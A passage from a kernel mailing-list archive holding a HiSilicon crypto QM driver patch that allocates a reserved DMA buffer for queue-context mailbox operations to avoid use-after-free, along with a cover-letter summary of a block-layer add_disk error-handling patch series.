32) static int __hisi_qm_start(struct hisi_qm *qm); @@ -537,6 +524,61 @@ static int hisi_qm_mb_read(struct hisi_qm *qm, u64 *base, u8 cmd, u16 queue) return 0; } +/* op 0: set xqc info to hardware, 1: get xqc info from hardware. */ +static int qm_set_and_get_xqc(struct hisi_qm *qm, u8 cmd, void *xqc, u32 qp_id, + bool op) +{ + struct hisi_qm *pf_qm = pci_get_drvdata(pci_physfn(qm->pdev)); + struct qm_mailbox mailbox; + dma_addr_t xqc_dma; + void *tmp_xqc; + size_t size; + int ret; + + switch (cmd) { + case QM_MB_CMD_SQC: + size = sizeof(struct qm_sqc); + tmp_xqc = qm->xqc_buf.sqc; + xqc_dma = qm->xqc_buf.sqc_dma; + break; + case QM_MB_CMD_CQC: + size = sizeof(struct qm_cqc); + tmp_xqc = qm->xqc_buf.cqc; + xqc_dma = qm->xqc_buf.cqc_dma; + break; + case QM_MB_CMD_EQC: + size = sizeof(struct qm_eqc); + tmp_xqc = qm->xqc_buf.eqc; + xqc_dma = qm->xqc_buf.eqc_dma; + break; + case QM_MB_CMD_AEQC: + size = sizeof(struct qm_aeqc); + tmp_xqc = qm->xqc_buf.aeqc; + xqc_dma = qm->xqc_buf.aeqc_dma; + break; + } + + /* No need to judge if master OOO is blocked. */ + if (qm_check_dev_error(pf_qm)) { + dev_err(&qm->pdev->dev, + "QM mailbox operation failed since qm is stop!\n"); + return -EIO; + } + + mutex_lock(&qm->mailbox_lock); + if (!op) + memcpy(tmp_xqc, xqc, size); + + qm_mb_pre_init(&mailbox, cmd, xqc_dma, qp_id, op); + ret = qm_mb_nolock(qm, &mailbox); + if (!ret && op) + memcpy(xqc, tmp_xqc, size); + + mutex_unlock(&qm->mailbox_lock); + + return ret; +} + static void qm_db_v1(struct hisi_qm *qm, u16 qn, u8 cmd, u16 index, u8 priority) { u64 doorbell; @@ -1166,35 +1208,6 @@ static ssize_t qm_cmd_read(struct file *filp, char __user *buffer, return (*pos = len); } -static void *qm_ctx_alloc(struct hisi_qm *qm, size_t ctx_size, - dma_addr_t *dma_addr) -{ - struct device *dev = &qm->pdev->dev; - void *ctx_addr; - - ctx_addr = kzalloc(ctx_size, GFP_KERNEL); - if (!ctx_addr) - return ERR_PTR(-ENOMEM); - - *dma_addr = dma_map_single(dev, ctx_addr, ctx_size, DMA_FROM_DEVICE); - if (dma_mapping_error(dev, *dma_addr)) { - dev_err(dev, "DMA mapping error!\n"); - kfree(ctx_addr); - return ERR_PTR(-ENOMEM); - } - - return ctx_addr; -} - -static void qm_ctx_free(struct hisi_qm *qm, size_t ctx_size, - const void *ctx_addr, dma_addr_t *dma_addr) -{ - struct device *dev = &qm->pdev->dev; - - dma_unmap_single(dev, *dma_addr, ctx_size, DMA_FROM_DEVICE); - kfree(ctx_addr); -} - static int dump_show(struct hisi_qm *qm, void *info, unsigned int info_size, char *info_name) { @@ -1230,21 +1243,11 @@ static int dump_show(struct hisi_qm *qm, void *info, return 0; } -static int qm_dump_sqc_raw(struct hisi_qm *qm, dma_addr_t dma_addr, u16 qp_id) -{ - return hisi_qm_mb_write(qm, QM_MB_CMD_SQC, dma_addr, qp_id, 1); -} - -static int qm_dump_cqc_raw(struct hisi_qm *qm, dma_addr_t dma_addr, u16 qp_id) -{ - return hisi_qm_mb_write(qm, QM_MB_CMD_CQC, dma_addr, qp_id, 1); -} - static int qm_sqc_dump(struct hisi_qm *qm, const char *s) { struct device *dev = &qm->pdev->dev; - struct qm_sqc *sqc, *sqc_curr; - dma_addr_t sqc_dma; + struct qm_sqc *sqc_curr; + struct qm_sqc sqc; u32 qp_id; int ret; @@ -1257,40 +1260,28 @@ static int qm_sqc_dump(struct hisi_qm *qm, const char *s) return -EINVAL; } - sqc = qm_ctx_alloc(qm, sizeof(struct qm_sqc), &sqc_dma); - if (IS_ERR(sqc)) - return PTR_ERR(sqc); - - ret = qm_dump_sqc_raw(qm, sqc_dma, qp_id); - if (ret) { - down_read(&qm->qps_lock); - if (qm->sqc) { - sqc_curr = qm->sqc + qp_id; - - ret = dump_show(qm, sqc_curr, sizeof(struct qm_sqc), - "SOFT SQC"); - if (ret) - dev_info(dev, "Show soft sqc failed!\n"); - } - up_read(&qm->qps_lock); + ret = qm_set_and_get_xqc(qm, QM_MB_CMD_SQC, &sqc, qp_id, 1); + if (!ret) + return dump_show(qm, &sqc, sizeof(struct qm_sqc), "SQC"); - goto mailbox_fail; + down_read(&qm->qps_lock); + if (qm->sqc) { + sqc_curr = qm->sqc + qp_id; + ret = dump_show(qm, sqc_curr, sizeof(struct qm_sqc), + "SOFT SQC"); + if (ret) + dev_info(dev, "Show soft sqc failed!\n"); } + up_read(&qm->qps_lock); - ret = dump_show(qm, sqc, sizeof(struct qm_sqc), "SQC"); - if (ret) - dev_info(dev, "Show hw sqc failed!\n"); - -mailbox_fail: - qm_ctx_free(qm, sizeof(struct qm_sqc), sqc, &sqc_dma); return ret; } static int qm_cqc_dump(struct hisi_qm *qm, const char *s) { struct device *dev = &qm->pdev->dev; - struct qm_cqc *cqc, *cqc_curr; - dma_addr_t cqc_dma; + struct qm_cqc *cqc_curr; + struct qm_cqc cqc; u32 qp_id; int ret; @@ -1303,40 +1294,28 @@ static int qm_cqc_dump(struct hisi_qm *qm, const char *s) return -EINVAL; } - cqc = qm_ctx_alloc(qm, sizeof(struct qm_cqc), &cqc_dma); - if (IS_ERR(cqc)) - return PTR_ERR(cqc); - - ret = qm_dump_cqc_raw(qm, cqc_dma, qp_id); - if (ret) { - down_read(&qm->qps_lock); - if (qm->cqc) { - cqc_curr = qm->cqc + qp_id; + ret = qm_set_and_get_xqc(qm, QM_MB_CMD_CQC, &cqc, qp_id, 1); + if (!ret) + return dump_show(qm, &cqc, sizeof(struct qm_cqc), "CQC"); - ret = dump_show(qm, cqc_curr, sizeof(struct qm_cqc), - "SOFT CQC"); - if (ret) - dev_info(dev, "Show soft cqc failed!\n"); - } - up_read(&qm->qps_lock); + down_read(&qm->qps_lock); + if (qm->cqc) { + cqc_curr = qm->cqc + qp_id; - goto mailbox_fail; + ret = dump_show(qm, cqc_curr, sizeof(struct qm_cqc), + "SOFT CQC"); + if (ret) + dev_info(dev, "Show soft cqc failed!\n"); } + up_read(&qm->qps_lock); - ret = dump_show(qm, cqc, sizeof(struct qm_cqc), "CQC"); - if (ret) - dev_info(dev, "Show hw cqc failed!\n"); - -mailbox_fail: - qm_ctx_free(qm, sizeof(struct qm_cqc), cqc, &cqc_dma); return ret; } static int qm_eqc_dump(struct hisi_qm *qm, char *s) { struct device *dev = &qm->pdev->dev; - struct qm_eqc *eqc; - dma_addr_t eqc_dma; + struct qm_eqc eqc; int ret; if (strsep(&s, " ")) { @@ -1344,28 +1323,17 @@ static int qm_eqc_dump(struct hisi_qm *qm, char *s) return -EINVAL; } - eqc = qm_ctx_alloc(qm, sizeof(struct qm_eqc), &eqc_dma); - if (IS_ERR(eqc)) - return PTR_ERR(eqc); - - ret = hisi_qm_mb_write(qm, QM_MB_CMD_EQC, eqc_dma, 0, 1); - if (ret) - goto mailbox_fail; - - ret = dump_show(qm, eqc, sizeof(struct qm_eqc), "EQC"); + ret = qm_set_and_get_xqc(qm, QM_MB_CMD_EQC, &eqc, 0, 1); if (ret) - dev_info(dev, "Show eqc failed!\n"); + return ret; -mailbox_fail: - qm_ctx_free(qm, sizeof(struct qm_eqc), eqc, &eqc_dma); - return ret; + return dump_show(qm, &eqc, sizeof(struct qm_eqc), "EQC"); } static int qm_aeqc_dump(struct hisi_qm *qm, char *s) { struct device *dev = &qm->pdev->dev; - struct qm_aeqc *aeqc; - dma_addr_t aeqc_dma; + struct qm_aeqc aeqc; int ret; if (strsep(&s, " ")) { @@ -1373,21 +1341,11 @@ static int qm_aeqc_dump(struct hisi_qm *qm, char *s) return -EINVAL; } - aeqc = qm_ctx_alloc(qm, sizeof(struct qm_aeqc), &aeqc_dma); - if (IS_ERR(aeqc)) - return PTR_ERR(aeqc); - - ret = hisi_qm_mb_write(qm, QM_MB_CMD_AEQC, aeqc_dma, 0, 1); + ret = qm_set_and_get_xqc(qm, QM_MB_CMD_AEQC, &aeqc, 0, 1); if (ret) - goto mailbox_fail; - - ret = dump_show(qm, aeqc, sizeof(struct qm_aeqc), "AEQC"); - if (ret) - dev_info(dev, "Show hw aeqc failed!\n"); + return ret; -mailbox_fail: - qm_ctx_free(qm, sizeof(struct qm_aeqc), aeqc, &aeqc_dma); - return ret; + return dump_show(qm, &aeqc, sizeof(struct qm_aeqc), "AEQC"); } static int q_dump_param_parse(struct hisi_qm *qm, char *s, @@ -1432,7 +1390,6 @@ static int q_dump_param_parse(struct hisi_qm *qm, char *s, static int qm_sq_dump(struct hisi_qm *qm, char *s) { - struct device *dev = &qm->pdev->dev; struct hisi_qp *qp; u32 qp_id, sqe_id; void *sqe_curr; @@ -1447,16 +1404,11 @@ static int qm_sq_dump(struct hisi_qm *qm, char *s) memset(sqe_curr + qm->debug.sqe_mask_offset, SQE_ADDR_MASK, qm->debug.sqe_mask_len); - ret = dump_show(qm, sqe_curr, qm->sqe_size, "SQE"); - if (ret) - dev_info(dev, "Show sqe failed!\n"); - - return ret; + return dump_show(qm, sqe_curr, qm->sqe_size, "SQE"); } static int qm_cq_dump(struct hisi_qm *qm, char *s) { - struct device *dev = &qm->pdev->dev; struct qm_cqe *cqe_curr; struct hisi_qp *qp; u32 qp_id, cqe_id; @@ -1468,11 +1420,8 @@ static int qm_cq_dump(struct hisi_qm *qm, char *s) qp = &qm->qp_array[qp_id]; cqe_curr = qp->cqe + cqe_id; - ret = dump_show(qm, cqe_curr, sizeof(struct qm_cqe), "CQE"); - if (ret) - dev_info(dev, "Show cqe failed!\n"); - return ret; + return dump_show(qm, cqe_curr, sizeof(struct qm_cqe), "CQE"); } static int qm_eq_dump(struct hisi_qm *qm, const char *s) @@ -1895,79 +1844,46 @@ EXPORT_SYMBOL_GPL(hisi_qm_release_qp); static int qm_sq_ctx_cfg(struct hisi_qp *qp, int qp_id, int pasid) { struct hisi_qm *qm = qp->qm; - struct device *dev = &qm->pdev->dev; enum qm_hw_ver ver = qm->ver; - struct qm_sqc *sqc; - dma_addr_t sqc_dma; - int ret; + struct qm_sqc sqc = {0}; - sqc = kzalloc(sizeof(struct qm_sqc), GFP_KERNEL); - if (!sqc) - return -ENOMEM; - sqc_dma = dma_map_single(dev, sqc, sizeof(struct qm_sqc), - DMA_TO_DEVICE); - if (dma_mapping_error(dev, sqc_dma)) { - kfree(sqc); - return -ENOMEM; - } - - INIT_QC_COMMON(sqc, qp->sqe_dma, pasid); if (ver == QM_HW_V1) { - sqc->dw3 = cpu_to_le32(QM_MK_SQC_DW3_V1(0, 0, 0, qm->sqe_size)); - sqc->w8 = cpu_to_le16(QM_Q_DEPTH - 1); + sqc.dw3 = cpu_to_le32(QM_MK_SQC_DW3_V1(0, 0, 0, qm->sqe_size)); + sqc.w8 = cpu_to_le16(QM_Q_DEPTH - 1); } else if (ver == QM_HW_V2) { - sqc->dw3 = cpu_to_le32(QM_MK_SQC_DW3_V2(qm->sqe_size)); - sqc->w8 = 0; /* rand_qc */ + sqc.dw3 = cpu_to_le32(QM_MK_SQC_DW3_V2(qm->sqe_size)); + sqc.w8 = 0; /* rand_qc */ } - sqc->cq_num = cpu_to_le16(qp_id); - sqc->w13 = cpu_to_le16(QM_MK_SQC_W13(0, 1, qp->alg_type)); - - ret = hisi_qm_mb_write(qm, QM_MB_CMD_SQC, sqc_dma, qp_id, 0); - - dma_unmap_single(dev, sqc_dma, sizeof(struct qm_sqc), DMA_TO_DEVICE); - kfree(sqc); + sqc.cq_num = cpu_to_le16(qp_id); + sqc.w13 = cpu_to_le16(QM_MK_SQC_W13(0, 1, qp->alg_type)); + sqc.base_l = cpu_to_le32(lower_32_bits(qp->sqe_dma)); + sqc.base_h = cpu_to_le32(upper_32_bits(qp->sqe_dma)); + sqc.pasid = cpu_to_le16(pasid); - return ret; + return qm_set_and_get_xqc(qm, QM_MB_CMD_SQC, &sqc, qp_id, 0); } static int qm_cq_ctx_cfg(struct hisi_qp *qp, int qp_id, int pasid) { struct hisi_qm *qm = qp->qm; - struct device *dev = &qm->pdev->dev; enum qm_hw_ver ver = qm->ver; - struct qm_cqc *cqc; - dma_addr_t cqc_dma; - int ret; + struct qm_cqc cqc = {0}; - cqc = kzalloc(sizeof(struct qm_cqc), GFP_KERNEL); - if (!cqc) - return -ENOMEM; - - cqc_dma = dma_map_single(dev, cqc, sizeof(struct qm_cqc), - DMA_TO_DEVICE); - if (dma_mapping_error(dev, cqc_dma)) { - kfree(cqc); - return -ENOMEM; - } - - INIT_QC_COMMON(cqc, qp->cqe_dma, pasid); if (ver == QM_HW_V1) { - cqc->dw3 = cpu_to_le32(QM_MK_CQC_DW3_V1(0, 0, 0, + cqc.dw3 = cpu_to_le32(QM_MK_CQC_DW3_V1(0, 0, 0, QM_QC_CQE_SIZE)); - cqc->w8 = cpu_to_le16(QM_Q_DEPTH - 1); + cqc.w8 = cpu_to_le16(QM_Q_DEPTH - 1); } else if (ver == QM_HW_V2) { - cqc->dw3 = cpu_to_le32(QM_MK_CQC_DW3_V2(QM_QC_CQE_SIZE)); - cqc->w8 = 0; /* rand_qc */ + cqc.dw3 = cpu_to_le32(QM_MK_CQC_DW3_V2(QM_QC_CQE_SIZE)); + cqc.w8 = 0; /* rand_qc */ } - cqc->dw6 = cpu_to_le32(1 << QM_CQ_PHASE_SHIFT | - qp->c_flag << QM_CQ_FLAG_SHIFT); - - ret = hisi_qm_mb_write(qm, QM_MB_CMD_CQC, cqc_dma, qp_id, 0); + cqc.dw6 = cpu_to_le32(1 << QM_CQ_PHASE_SHIFT | + qp->c_flag << QM_CQ_FLAG_SHIFT); + cqc.base_l = cpu_to_le32(lower_32_bits(qp->cqe_dma)); + cqc.base_h = cpu_to_le32(upper_32_bits(qp->cqe_dma)); + cqc.pasid = cpu_to_le16(pasid); - dma_unmap_single(dev, cqc_dma, sizeof(struct qm_cqc), DMA_TO_DEVICE); - kfree(cqc); - - return ret; + return qm_set_and_get_xqc(qm, QM_MB_CMD_CQC, &cqc, qp_id, 0); } static int qm_qp_ctx_cfg(struct hisi_qp *qp, int qp_id, int pasid) @@ -2043,54 +1959,40 @@ static void qp_stop_fail_cb(struct hisi_qp *qp) static void qm_qp_has_no_task(struct hisi_qp *qp) { - size_t size = sizeof(struct qm_sqc) + sizeof(struct qm_cqc); - struct device *dev = &qp->qm->pdev->dev; - struct qm_sqc *sqc; - struct qm_cqc *cqc; - dma_addr_t dma_addr; - void *addr; - int i = 0; - int ret; + struct hisi_qm *qm = qp->qm; + struct device *dev = &qm->pdev->dev; + struct qm_sqc sqc; + struct qm_cqc cqc; + int ret, i = 0; if (qp->qm->err_ini.err_info.is_qm_ecc_mbit || qp->qm->err_ini.err_info.is_dev_ecc_mbit) return; - addr = qm_ctx_alloc(qp->qm, size, &dma_addr); - if (IS_ERR(addr)) { - dev_err(dev, "alloc ctx for sqc and cqc failed!\n"); - return; - } - while (++i) { - ret = qm_dump_sqc_raw(qp->qm, dma_addr, qp->qp_id); + ret = qm_set_and_get_xqc(qm, QM_MB_CMD_SQC, &sqc, qp->qp_id, 1); if (ret) { - dev_err(dev, "Failed to dump sqc!\n"); - break; + dev_err_ratelimited(dev, "Fail to dump sqc!\n"); + return; } - sqc = addr; - ret = qm_dump_cqc_raw(qp->qm, - (dma_addr + sizeof(struct qm_sqc)), qp->qp_id); + ret = qm_set_and_get_xqc(qm, QM_MB_CMD_CQC, &cqc, qp->qp_id, 1); if (ret) { - dev_err(dev, "Failed to dump cqc!\n"); - break; + dev_err_ratelimited(dev, "Fail to dump cqc!\n"); + return; } - cqc = addr + sizeof(struct qm_sqc); - if ((sqc->tail == cqc->tail) && - (QM_SQ_TAIL_IDX(sqc) == QM_CQ_TAIL_IDX(cqc))) - break; + if ((QM_SQ_TAIL_IDX(sqc) == QM_CQ_TAIL_IDX(cqc)) && + (sqc.tail == cqc.tail)) + return; if (i == MAX_WAIT_COUNTS) { - dev_err(dev, "Fail to wait for device stop!\n"); - break; + dev_err(dev, "Fail to empty queue %u!\n", qp->qp_id); + return; } usleep_range(WAIT_PERIOD_US_MIN, WAIT_PERIOD_US_MAX); } - - qm_ctx_free(qp->qm, size, addr, &dma_addr); } static int hisi_qm_stop_qp_nolock(struct hisi_qp *qp) @@ -2597,10 +2499,12 @@ static int hisi_qp_memory_init(struct hisi_qm *qm, size_t dma_size, int id) struct hisi_qp *qp; qp = &qm->qp_array[id]; - qp->qdma.va = dma_alloc_coherent(dev, dma_size, - &qp->qdma.dma, GFP_KERNEL); - if (!qp->qdma.va) + qp->qdma.va = dma_alloc_coherent(dev, dma_size, &qp->qdma.dma, + GFP_KERNEL); + if (!qp->qdma.va) { + dev_err(dev, "Fail to alloc qp dma buf size=%zx\n", dma_size); return -ENOMEM; + } qp->sqe = qp->qdma.va; qp->sqe_dma = qp->qdma.dma; @@ -2613,13 +2517,79 @@ static int hisi_qp_memory_init(struct hisi_qm *qm, size_t dma_size, int id) return 0; } +static int hisi_qp_alloc_memory(struct hisi_qm *qm) +{ + size_t qp_dma_size; + int i, ret; + + qm->qp_array = kcalloc(qm->qp_num, sizeof(struct hisi_qp), GFP_KERNEL); + if (!qm->qp_array) + return -ENOMEM; + + /* one more page for device or qp statuses */ + qp_dma_size = qm->sqe_size * QM_Q_DEPTH + + sizeof(struct cqe) * QM_Q_DEPTH; + qp_dma_size = PAGE_ALIGN(qp_dma_size) + PAGE_SIZE; + for (i = 0; i < qm->qp_num; i++) { + ret = hisi_qp_memory_init(qm, qp_dma_size, i); + if (ret) + goto err_init_qp_mem; + } + + return 0; + +err_init_qp_mem: + hisi_qp_memory_uninit(qm, i); + + return ret; +} + +static void hisi_qm_free_rsv_buf(struct hisi_qm *qm) +{ + struct qm_dma *xqc_dma = &qm->xqc_buf.qcdma; + struct device *dev = &qm->pdev->dev; + + dma_free_coherent(dev, xqc_dma->size, xqc_dma->va, xqc_dma->dma); +} + +static int hisi_qm_alloc_rsv_buf(struct hisi_qm *qm) +{ + struct qm_rsv_buf *xqc_buf = &qm->xqc_buf; + struct qm_dma *xqc_dma = &xqc_buf->qcdma; + struct device *dev = &qm->pdev->dev; + size_t off = 0; + +#define QM_XQC_BUF_INIT(xqc_buf, type) do { \ + (xqc_buf)->type = ((xqc_buf)->qcdma.va + (off)); \ + (xqc_buf)->type##_dma = (xqc_buf)->qcdma.dma + (off); \ + off += QMC_ALIGN(sizeof(struct qm_##type)); \ +} while (0) + + xqc_dma->size = QMC_ALIGN(sizeof(struct qm_eqc)) + + QMC_ALIGN(sizeof(struct qm_aeqc)) + + QMC_ALIGN(sizeof(struct qm_sqc)) + + QMC_ALIGN(sizeof(struct qm_cqc)); + + xqc_dma->va = dma_alloc_coherent(dev, xqc_dma->size, &xqc_dma->dma, + GFP_ATOMIC); + if (!xqc_dma->va) { + dev_err(dev, "Fail to alloc qcdma size=%zx\n", xqc_dma->size); + return -ENOMEM; + } + + QM_XQC_BUF_INIT(xqc_buf, eqc); + QM_XQC_BUF_INIT(xqc_buf, aeqc); + QM_XQC_BUF_INIT(xqc_buf, sqc); + QM_XQC_BUF_INIT(xqc_buf, cqc); + + return 0; +} + static int hisi_qm_memory_init(struct hisi_qm *qm) { struct device *dev = &qm->pdev->dev; - size_t qp_dma_size; + int ret = -ENOMEM; size_t off = 0; - int ret = 0; - int i; #define QM_INIT_BUF(qm, type, num) do { \ (qm)->type = ((qm)->qdma.va + (off)); \ @@ -2635,41 +2605,35 @@ static int hisi_qm_memory_init(struct hisi_qm *qm) QMC_ALIGN(sizeof(struct qm_aeqe) * QM_Q_DEPTH) + QMC_ALIGN(sizeof(struct qm_sqc) * qm->qp_num) + QMC_ALIGN(sizeof(struct qm_cqc) * qm->qp_num); - qm->qdma.va = dma_alloc_coherent(dev, qm->qdma.size, - &qm->qdma.dma, GFP_ATOMIC | __GFP_ZERO); - dev_dbg(dev, "allocate qm dma buf size=%zx)\n", qm->qdma.size); - if (!qm->qdma.va) - return -ENOMEM; + qm->qdma.va = dma_alloc_coherent(dev, qm->qdma.size, &qm->qdma.dma, + GFP_ATOMIC | __GFP_ZERO); + if (!qm->qdma.va) { + dev_err(dev, "Fail to alloc qdma size=%zx\n", qm->qdma.size); + goto err_destroy_idr; + } QM_INIT_BUF(qm, eqe, QM_EQ_DEPTH); QM_INIT_BUF(qm, aeqe, QM_Q_DEPTH); QM_INIT_BUF(qm, sqc, qm->qp_num); QM_INIT_BUF(qm, cqc, qm->qp_num); - qm->qp_array = kcalloc(qm->qp_num, sizeof(struct hisi_qp), GFP_KERNEL); - if (!qm->qp_array) { - ret = -ENOMEM; - goto err_alloc_qp_array; - } + ret = hisi_qm_alloc_rsv_buf(qm); + if (ret) + goto err_free_qdma; - /* one more page for device or qp statuses */ - qp_dma_size = qm->sqe_size * QM_Q_DEPTH + - sizeof(struct cqe) * QM_Q_DEPTH; - qp_dma_size = PAGE_ALIGN(qp_dma_size) + PAGE_SIZE; - for (i = 0; i < qm->qp_num; i++) { - ret = hisi_qp_memory_init(qm, qp_dma_size, i); - if (ret) - goto err_init_qp_mem; + ret = hisi_qp_alloc_memory(qm); + if (ret) + goto err_free_reserve_buf; - dev_dbg(dev, "allocate qp dma buf size=%zx)\n", qp_dma_size); - } + return 0; + +err_free_reserve_buf: + hisi_qm_free_rsv_buf(qm); +err_free_qdma: + dma_free_coherent(dev, qm->qdma.size, qm->qdma.va, qm->qdma.dma); +err_destroy_idr: + idr_destroy(&qm->qp_idr); - return ret; -err_init_qp_mem: - hisi_qp_memory_uninit(qm, i); -err_alloc_qp_array: - dma_free_coherent(dev, qm->qdma.size, - qm->qdma.va, qm->qdma.dma); return ret; } @@ -2861,8 +2825,7 @@ void hisi_qm_uninit(struct hisi_qm *qm) hisi_qp_memory_uninit(qm, qm->qp_num); idr_destroy(&qm->qp_idr); - - /* qm hardware buffer free on put_queue if no dma api */ + hisi_qm_free_rsv_buf(qm); if (qm->qdma.va) { hisi_qm_cache_wb(qm); dma_free_coherent(dev, qm->qdma.size, @@ -2962,59 +2925,26 @@ static void qm_init_eq_aeq_status(struct hisi_qm *qm) static int qm_eq_ctx_cfg(struct hisi_qm *qm) { - struct device *dev = &qm->pdev->dev; - struct qm_eqc *eqc; - dma_addr_t eqc_dma; - int ret; + struct qm_eqc eqc = {0}; - eqc = kzalloc(sizeof(struct qm_eqc), GFP_KERNEL); - if (!eqc) - return -ENOMEM; - eqc_dma = dma_map_single(dev, eqc, sizeof(struct qm_eqc), - DMA_TO_DEVICE); - if (dma_mapping_error(dev, eqc_dma)) { - kfree(eqc); - return -ENOMEM; - } - - eqc->base_l = cpu_to_le32(lower_32_bits(qm->eqe_dma)); - eqc->base_h = cpu_to_le32(upper_32_bits(qm->eqe_dma)); + eqc.base_l = cpu_to_le32(lower_32_bits(qm->eqe_dma)); + eqc.base_h = cpu_to_le32(upper_32_bits(qm->eqe_dma)); if (qm->ver == QM_HW_V1) - eqc->dw3 = cpu_to_le32(QM_EQE_AEQE_SIZE); - eqc->dw6 = cpu_to_le32((QM_EQ_DEPTH - 1) | (1 << QM_EQC_PHASE_SHIFT)); - ret = hisi_qm_mb_write(qm, QM_MB_CMD_EQC, eqc_dma, 0, 0); - dma_unmap_single(dev, eqc_dma, sizeof(struct qm_eqc), DMA_TO_DEVICE); - kfree(eqc); + eqc.dw3 = cpu_to_le32(QM_EQE_AEQE_SIZE); + eqc.dw6 = cpu_to_le32((QM_EQ_DEPTH - 1) | (1 << QM_EQC_PHASE_SHIFT)); - return ret; + return qm_set_and_get_xqc(qm, QM_MB_CMD_EQC, &eqc, 0, 0); } static int qm_aeq_ctx_cfg(struct hisi_qm *qm) { - struct device *dev = &qm->pdev->dev; - struct qm_aeqc *aeqc; - dma_addr_t aeqc_dma; - int ret; + struct qm_aeqc aeqc = {0}; - aeqc = kzalloc(sizeof(struct qm_aeqc), GFP_KERNEL); - if (!aeqc) - return -ENOMEM; - aeqc_dma = dma_map_single(dev, aeqc, sizeof(struct qm_aeqc), - DMA_TO_DEVICE); - if (dma_mapping_error(dev, aeqc_dma)) { - kfree(aeqc); - return -ENOMEM; - } + aeqc.base_l = cpu_to_le32(lower_32_bits(qm->aeqe_dma)); + aeqc.base_h = cpu_to_le32(upper_32_bits(qm->aeqe_dma)); + aeqc.dw6 = cpu_to_le32((QM_Q_DEPTH - 1) | (1 << QM_EQC_PHASE_SHIFT)); - aeqc->base_l = cpu_to_le32(lower_32_bits(qm->aeqe_dma)); - aeqc->base_h = cpu_to_le32(upper_32_bits(qm->aeqe_dma)); - aeqc->dw6 = cpu_to_le32((QM_Q_DEPTH - 1) | (1 << QM_EQC_PHASE_SHIFT)); - ret = hisi_qm_mb_write(qm, QM_MB_CMD_AEQC, aeqc_dma, 0, 0); - - dma_unmap_single(dev, aeqc_dma, sizeof(struct qm_aeqc), DMA_TO_DEVICE); - kfree(aeqc); - - return ret; + return qm_set_and_get_xqc(qm, QM_MB_CMD_AEQC, &aeqc, 0, 0); } static int qm_eq_aeq_ctx_cfg(struct hisi_qm *qm) diff --git a/drivers/crypto/hisilicon/qm.h b/drivers/crypto/hisilicon/qm.h index d7d23d1ec34c..9f5e440d7396 100644 --- a/drivers/crypto/hisilicon/qm.h +++ b/drivers/crypto/hisilicon/qm.h @@ -286,6 +286,18 @@ struct hisi_qm_list { bool (*check)(struct hisi_qm *qm); }; +struct qm_rsv_buf { + struct qm_sqc *sqc; + struct qm_cqc *cqc; + struct qm_eqc *eqc; + struct qm_aeqc *aeqc; + dma_addr_t sqc_dma; + dma_addr_t cqc_dma; + dma_addr_t eqc_dma; + dma_addr_t aeqc_dma; + struct qm_dma qcdma; +}; + struct hisi_qm { enum qm_hw_ver ver; enum qm_fun_type fun_type; @@ -309,6 +321,7 @@ struct hisi_qm { dma_addr_t cqc_dma; dma_addr_t eqe_dma; dma_addr_t aeqe_dma; + struct qm_rsv_buf xqc_buf; struct hisi_qm_status status; struct hisi_qm_err_ini err_ini; -- 2.30.0

2 1

[PATCH OLK-5.10 00/42] add error handling for add disk
by Li Nan 06 Nov '23

06 Nov '23

Christoph Hellwig (14): block: fold register_disk into device_add_disk block: call blk_integrity_add earlier in device_add_disk block: add the events* attributes to disk_attrs block: fix error unwinding in device_add_disk block: clear ->slave_dir when dropping the main slave_dir reference block: add blk_alloc_disk and blk_cleanup_disk APIs blk-mq: add the blk_mq_alloc_disk APIs loop: use blk_mq_alloc_disk and blk_cleanup_disk loop: fix order of cleaning up the queue and freeing the tagset nbd: use blk_mq_alloc_disk and blk_cleanup_disk block: add a flag to make put_disk on partially initalized disks safer nvme: use blk_mq_alloc_disk brd: convert to blk_alloc_disk/blk_cleanup_disk ubi: use blk_mq_alloc_disk and blk_cleanup_disk Dan Carpenter (1): blk-mq: fix an IS_ERR() vs NULL bug Li Lingfeng (1): nbd: fix uaf in nbd_open Luis Chamberlain (10): block: return errors from blk_integrity_add block: return errors from disk_alloc_events block: add error handling for device_add_disk / add_disk block: fix device_add_disk() kobject_create_and_add() error handling loop: add error handling support for add_disk() nbd: add error handling support for add_disk() nvme: add error handling support for add_disk() block/brd: add error handling support for add_disk() scsi: sr: Add error handling support for add_disk() mtd/ubi/block: add error handling support for add_disk() Tetsuo Handa (1): block: check minor range in device_add_disk() Wang Qing (1): nbd: fix order of cleaning up the queue and freeing the tagset Wen Yang (1): Revert "Revert "block: nbd: add sanity check for first_minor"" Yu Kuai (3): nbd: fix max value for 'first_minor' nbd: fix possible overflow for 'first_minor' in nbd_dev_add() block: fix memory leak for elevator on add_disk failure Zhang Wensheng (1): nbd: fix possible overflow on 'first_minor' in nbd_dev_add() Zhong Jinghua (9): nbd: Reorganize the messy commit log about the first_minor check block: return errors from blk_register_region block: Fix the kabi change in device_add_disk block: Fix the kabi change on blk_register_region block: call blk_get_queue earlier in __device_add_disk block: Fix minor range check in device_add_disk() block: Set memalloc_noio to false in the error path mtd/ubi/block: Fix null pointer dereference issue in error path mtd/ubi/block: Fix uaf problem in ubiblock_cleanup block/blk.h | 5 +- include/linux/blk-mq.h | 12 ++ include/linux/genhd.h | 36 +++++ block/blk-integrity.c | 12 +- block/blk-mq.c | 19 +++ block/genhd.c | 286 ++++++++++++++++++++++++++------------- drivers/block/brd.c | 103 ++++++-------- drivers/block/loop.c | 26 ++-- drivers/block/nbd.c | 75 ++++------ drivers/mtd/ubi/block.c | 76 +++++------ drivers/nvme/host/core.c | 41 +++--- drivers/scsi/sr.c | 7 +- 12 files changed, 413 insertions(+), 285 deletions(-) -- 2.39.2

1 42

[PATCH openEuler-1.0-LTS] crypto: hisilicon/qm - alloc reserve buffer to set and get xqc
by wangyuan 06 Nov '23

06 Nov '23

From: Yu'an Wang <wangyuan46(a)huawei.com> driver inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8E6ED CVE: NA -------------------------------- If the temporarily applied memory is used to set or get the xqc information, the driver will release the memory after the mailbox timeout. However, the hardware still performs the operation. Therefore, the released memory may be written by hardware. So when load driver, reserve memory is applied for xqc configuration. Signed-off-by: Yu'an Wang <wangyuan46(a)huawei.com> --- drivers/crypto/hisilicon/qm.c | 554 +++++++++++++++------------------- drivers/crypto/hisilicon/qm.h | 13 + 2 files changed, 255 insertions(+), 312 deletions(-) diff --git a/drivers/crypto/hisilicon/qm.c b/drivers/crypto/hisilicon/qm.c index 64e8ef1bf8e7..b4fd97e1e03e 100644 --- a/drivers/crypto/hisilicon/qm.c +++ b/drivers/crypto/hisilicon/qm.c @@ -50,7 +50,7 @@ #define QM_SQ_TYPE_MASK 0xf -#define QM_SQ_TAIL_IDX(sqc) ((le16_to_cpu((sqc)->w11) >> 